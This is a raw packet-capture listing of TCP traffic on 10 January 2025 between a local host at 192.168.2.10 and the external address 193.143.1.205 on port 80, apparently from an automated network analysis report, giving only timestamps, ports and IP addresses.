Jan 10, 2025 21:20:57.609961987 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.610580921 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.610591888 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.610603094 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.610615015 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.610625982 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.610634089 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.610646963 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.610657930 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.610668898 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.610680103 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.610681057 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.610707998 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.610723972 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.611428976 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.611501932 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.611507893 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.611520052 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.611531973 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.611540079 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.611553907 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.611563921 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.611576080 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.611577034 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.611608982 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.611613035 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.611653090 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.612417936 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.612428904 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.612438917 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.612451077 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.612462044 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.612468958 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.612476110 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.612488031 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.612503052 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.612524033 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.612560987 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.612571955 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.612608910 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.613346100 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.613356113 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.613365889 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.613385916 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.613390923 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.613399029 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.613409996 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.613411903 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.613421917 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.613431931 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.613437891 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.613444090 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.613465071 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.613483906 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.614300013 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.614310980 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.614322901 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.614334106 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.614345074 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.614351988 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.614356041 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.614367008 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.614375114 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.614392996 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.618463039 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.625267982 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.625281096 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.625293016 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.625303984 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.625314951 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.625324011 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.625355959 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.627726078 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.627737045 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.627747059 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.627758026 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.627790928 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.627815008 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.627842903 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.630671024 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.661608934 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.661638021 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.661650896 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.661667109 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.661673069 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.661678076 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.661773920 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.661788940 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.661802053 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.661814928 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.661838055 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.661838055 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.661870003 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.661870003 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.661988020 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.661999941 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.662033081 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.677956104 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.695518017 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.695547104 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.695564032 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.695574999 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.695588112 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.695600033 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.695612907 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.695626974 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.695732117 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.695732117 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.695732117 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.695868969 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.695880890 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.695893049 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.695905924 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.695919037 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.695925951 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.695949078 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.695981026 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.696090937 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.696103096 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.696115971 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.696145058 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.702766895 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.714977980 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.729871035 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.729897976 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.729912043 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.729923010 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.729932070 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.729940891 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.729993105 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.730005026 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.730016947 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.730029106 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.730065107 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.730065107 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.730103016 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.730103016 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.730187893 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.730201006 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.730214119 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.730237961 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.730262041 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.730339050 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.730351925 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.730390072 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.730426073 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.730448008 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.730462074 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.730473995 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.730488062 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.730492115 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.730501890 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.730515003 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.730546951 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.730788946 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.730807066 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.730818987 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.730829954 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.730842113 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.730848074 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.730854034 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.730865955 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.730873108 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.730876923 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.730889082 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.730892897 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.730902910 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.730914116 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.730942011 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.731008053 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.731453896 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.731465101 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.731492043 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.731503010 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.731508970 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.731514931 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.731525898 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.731533051 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.731539011 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.731550932 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.731560946 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.731563091 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.731575012 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.731584072 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.731587887 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.731599092 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.731605053 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.731612921 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.731623888 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.731637955 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.731642008 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.731651068 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.731667995 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.731688023 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.732373953 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.732445955 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.732453108 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.732459068 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.732470989 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.732484102 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.732496023 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.732513905 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.732522011 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.732527971 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.732539892 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.732551098 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.732563019 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.732574940 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.732578993 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.732588053 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.732599020 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.732605934 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.732609987 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.732623100 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.732619047 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.732635021 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.732651949 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.732676029 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.733270884 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.733283043 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.733294010 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.733309031 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.733321905 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.733323097 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.733333111 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.733342886 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.733356953 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.733361959 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.733366966 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.733386993 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.733406067 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.733407974 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.733422041 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.733433008 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.733437061 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.733445883 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.733458996 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.733469963 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.733469963 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.733498096 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.733508110 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.733520031 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.734210014 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.734220982 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.734246016 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.734257936 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.734268904 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.734272957 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.734280109 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.734292030 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.734297037 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.734303951 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.734318972 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.734328032 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.734343052 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.734443903 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.740725994 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.748476028 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.748505116 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.748511076 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.748516083 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.748560905 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.748579979 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.748589039 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.748590946 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.748601913 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.748616934 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.748625040 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.748627901 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.748652935 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.753258944 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.902385950 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.958113909 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.958158016 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.958175898 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.958188057 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.958199024 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.958210945 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.958224058 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.958236933 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.958249092 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.958264112 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.958265066 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.958265066 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.958276987 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.958312988 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.958331108 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.958343029 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.958343983 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.958352089 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.958363056 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.958378077 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.958389044 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.958391905 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.958399057 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.958410978 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.958425999 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.958431005 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.958444118 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.958447933 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.958457947 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.958467960 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.958473921 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.958483934 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.958497047 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.958501101 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.958511114 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.958528042 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.958528996 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.958544016 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.958550930 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.958556890 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.958568096 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.958579063 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.958590984 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.958590984 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.958606958 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.958611965 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.958612919 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.958616972 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.958626032 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.958636999 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.958643913 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.958652973 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.958662033 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.958667040 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.958678961 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.958682060 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.958690882 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.958702087 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.958707094 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.958718061 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.958728075 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.958733082 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.958744049 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.958753109 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.958754063 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.958770037 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.958770990 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.958774090 CET	80	49705	193.143.1.205	192.168.2.10
